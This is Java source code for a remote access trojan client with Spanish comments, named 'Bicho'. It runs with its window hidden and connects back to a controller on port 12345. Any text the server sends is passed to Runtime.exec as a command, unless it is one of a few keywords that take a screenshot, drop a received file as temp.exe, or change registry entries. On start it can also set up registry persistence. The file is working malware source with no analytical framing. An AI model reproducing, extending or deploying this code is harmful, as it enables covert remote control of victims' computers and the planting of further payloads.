import java.io.*;
import java.net.*;
import java.util.Scanner;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class Cliente extends JFrame {
   private JTextField campoIntroducir;
   private JTextArea areaPantalla;
   public static ObjectOutputStream salida;
   private ObjectInputStream entrada;
   private String mensaje = "";
   private String servidorChat;
   public static Socket cliente;
   public boolean Flagareconectar = false;//una banderita para ver si hay reconexión
      public static File k;
   public static Scanner scanner;
   public InputStream rsr;
   // inicializar servidorChat y configurar GUI
   public Cliente( String host )
   {
      super( "Bicho" );

      servidorChat = host; // establecer el servidor al que se va a conectar este cliente








      setVisible( false );//sin ventanita

   } // fin del constructor de Cliente

   // conectarse al servidor y procesar mensajes del servidor
   public void ejecutarBicho() throws InterruptedException 
   {
      // conectarse al servidor, obtener flujos, procesar la conexión
      try {
    	 // public void aver(){} 
    	  if (Flagareconectar){Thread.sleep(7000);}  //si hay hubo que reconectar osea esta activada la bandera
         conectarAServidor(); // Paso 1: crear un socket para realizar la conexión
         obtenerFlujos();      // Paso 2: obtener los flujos de entrada y salida
         procesarConexion(); // Paso 3: procesar la conexión
         
      }

      // el servidor cerró la conexión
      catch ( EOFException excepcionEOF ) {
         System.err.println( "El cliente termino la conexión" );
      }

      // procesar los problemas que pueden ocurrir al comunicarse con el servidor
      catch ( IOException excepcionES ) {
         excepcionES.printStackTrace();
    	  Flagareconectar = true;
         System.err.println("RECONECTAR");
         ejecutarBicho();
      }

      finally {
    //     cerrarConexion(); // Paso 4: cerrar la conexión
      }

   } // fin del método ejecutarCliente

   // conectarse al servidor
   private void conectarAServidor() throws IOException
   {      


      // crear Socket para realizar la conexión con el servidor
      cliente = new Socket( InetAddress.getByName( servidorChat ), 12345 );

      // mostrar la información de la conexión
//      mostrarMensaje( "Conectado a: " +          cliente.getInetAddress().getHostName() );
   }

   // obtener flujos para enviar y recibir datos
   private void obtenerFlujos() throws IOException
   {
      // establecer flujo de salida para los objetos
      salida = new ObjectOutputStream( cliente.getOutputStream() );      
      salida.flush(); // vacíar búfer de salida para enviar información de encabezado

      // establecer flujo de entrada para los objetos
      entrada = new ObjectInputStream( cliente.getInputStream() );
//      enviarDatos("xD");

//      mostrarMensaje( "\nSe recibieron los flujos de E/S\n" );
   }

   // procesar la conexión con el servidor
   private void procesarConexion() throws IOException, InterruptedException
   {
      // habilitar campoIntroducir para que el usuario del cliente pueda enviar mensajes


      do { // procesar mensajes enviados del servidor

         // leer mensaje y mostrarlo en pantalla
         try {
            mensaje = ( String ) entrada.readObject();

            if (mensaje.equals("SCREEN")){
            	System.out.println("hay fiesta");
            	try {
            	//	System.out.println("debería unkar");
            		Obtpant obt = new Obtpant();
					obt.ObtpanxD();
					
				} catch (AWTException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
            }
            else if (mensaje.equals("obey")){
            	enviarDatos("A sus órdenes amo");
            }
            else if (mensaje.equals("file")){
            	rvefile();
            }
            else if (mensaje.equals("unreg")){Registrator.unreg();}
            else{ sh( mensaje );}
         }

         // atrapar los problemas que pueden ocurrir al leer del servidor
         catch ( ClassNotFoundException excepcionClaseNoEncontrada ) {

         }

      } while ( !mensaje.equals( "SERVIDOR>>> TERMINAR" ) );

   } // fin del método procesarConexion



   // enviar mensaje al servidor
   private void enviarDatos( String mensaje )
   {
      // enviar objeto al servidor
      try {
         salida.writeObject(  mensaje );
         salida.flush();

      }

      // procesar los problemas que pueden ocurrir al enviar el objeto
      catch ( IOException excepcionES ) {
         areaPantalla.append( "\nError al escribir el objeto" );
      }
   }

   // método utilitario que es llamado desde otros subprocesos para manipular a 
   // areaPantalla en el subproceso despachador de eventos  NO HAGáIS CASO XD


   // método utilitario que es llamado desde otros subprocesos para manipular a 
   // campoIntroducir en el subproceso despachador de eventos NI A ESTOBUAAJAJAJAJ
  public void sh(String sh) throws IOException{
	  Process p = null; //proces inicializado obtenemos el runtime y ejecutamos el mensaje como comando xD
	  Runtime run = Runtime.getRuntime();
	  p= run.exec(sh);
	  
  }

  public void rvefile() throws IOException, InterruptedException{
	  InputStream inftemp = cliente.getInputStream();
	  Thread.sleep(1000);
	  String title = inftemp.toString();
	  System.out.println(title);
	  String k = "temp.exe";
	  File ftemp1 = new File(k);
	  ByteStream.toFile(inftemp, ftemp1);
  }
    public void obtaver() throws FileNotFoundException{
       rsr = this.getClass().getResourceAsStream("aver.txt");//ResourceAsStream("aver.txt");
        scanner = new Scanner(rsr);
       

  }
   public static void main( String args[] ) throws InterruptedException  //para aplicacion ejecutar tal
, IOException
     { Cliente kln = new Cliente(null);
      // File file = new File("aver.txt");
       String line = null ; //= new String[2]
       String hkcu = null;
       kln.obtaver();
       int vcount = 0;
           line = scanner.nextLine().toString();
           System.out.println(line);
           hkcu = scanner.nextLine().toString();
           System.out.println(hkcu);
           vcount++; 

       System.out.println(line);
       System.out.println(hkcu);


	   if (hkcu.equals("true")){Registrator.tempyreg();}
      JFrame.setDefaultLookAndFeelDecorated(true);
      Cliente aplicacion;

      if ( args.length == 0 )//AÑADIR MÉTODO KOPIER A TEMP Y AÑADIR A REGISTRY
         aplicacion = new Cliente( line );//192.168.1.130 87.217.141.4?
      else
         aplicacion = new Cliente( args[ 0 ] );

  //    aplicacion.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
      aplicacion.ejecutarBicho();//de la instancia ejecutamos método
   }

} // fin de la clase Cliente